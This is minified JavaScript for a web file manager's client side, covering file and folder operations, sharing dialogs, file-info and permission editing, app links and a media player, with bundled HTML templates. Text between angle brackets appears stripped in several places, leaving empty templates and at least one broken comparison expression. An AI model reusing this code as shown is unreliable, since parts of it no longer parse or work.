e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e.replace(/"/g,'\\\\"')},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"list="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)a;a++)if(e.charAt(a)!=t.charAt(a)||isNaN(parseInt(e.charAt(a)))){e=e.substr(a),t=t.substr(a);break}var n=/(-?[0-9\.]+)/g,s=(""+e).toLowerCase()||"",r=(""+t).toLowerCase()||"",l=String.fromCharCode(0),c=s.replace(n,l+"$1"+l).split(l),d=r.replace(n,l+"$1"+l).split(l),p=new Date(s).getTime(),u=p?new Date(r).getTime():null;if(u){if(u>p)return-1;if(p>u)return 1}for(var f=0,h=Math.max(c.length,d.length);h>f;f++)if(oFxNcL=parseFloat(c[f])||c[f],oFyNcL=parseFloat(d[f])||d[f],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var m=o(oFxNcL,oFyNcL);if(0!=m)return m}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof t&&(Tips.close(e),t(e.info))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i){if(!(1>e.length)){var a=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=n(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",a=LNG.share_remove),(G.this_path==G.USER_RECYCLE||"recycle_clear"==e[0].type)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",a=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}a==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:a,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),f(e.data);else{G.self_share=e.info;var a={path:t,type:i,name:core.pathThis(t)};h(a,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(i),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==i&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1) +},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var t=n(t);t+="&get_md5=1",core.fileInfo(t,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var o=i.find("input.download_url"),s=o.get(0);o.unbind("hover click").bind("hover click",function(){$(this).focus();var e=o.val().length;if($.browser.msie){var t=s.createTextRange();t.moveEnd("character",-s.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else s.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,t){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},N=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},S=function(){var e=function(e,t){var i='
        null!
        ';if(0!=e.length){i='
        '+LNG.clipboard_state+LNG[t]+"
        ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="
        "+o.type+": "+s+""}i+="
        "}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},j=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},E=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},z=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(z(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=z(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},A=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:A,appAddURL:O,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:S,fav:E,favRemove:j}}),define("app/common/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n\n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/app_edit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t=core.pathExt(e),"swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return d(a,t),void 0}return"pdf"==t?(core.fileLink(e,function(i){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(i);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:i}).embed(n)}}),void 0):inArray(core.filetype.doc,t)?(l(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var t=jsonDecode(e);t.name=core.pathThis(n),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){var i='
        '+LNG.unknow_file_tips+"
        "+t+"

        "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
        ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(l(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e,t){var i="./index.php?explorer/officeView&path="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e)))},c=function(t,i){if(t){"string"==typeof t&&(t=[t]); +var a=e("./myPlayer");a.play(t,i)}},d=function(e,t){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e,t)};return{open:t,playerInstance:c,play:d,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e,t){t&&"music"!=t||(t=core.pathExt(e));var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=i[t],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e,n},c=function(e,t){if(t){var 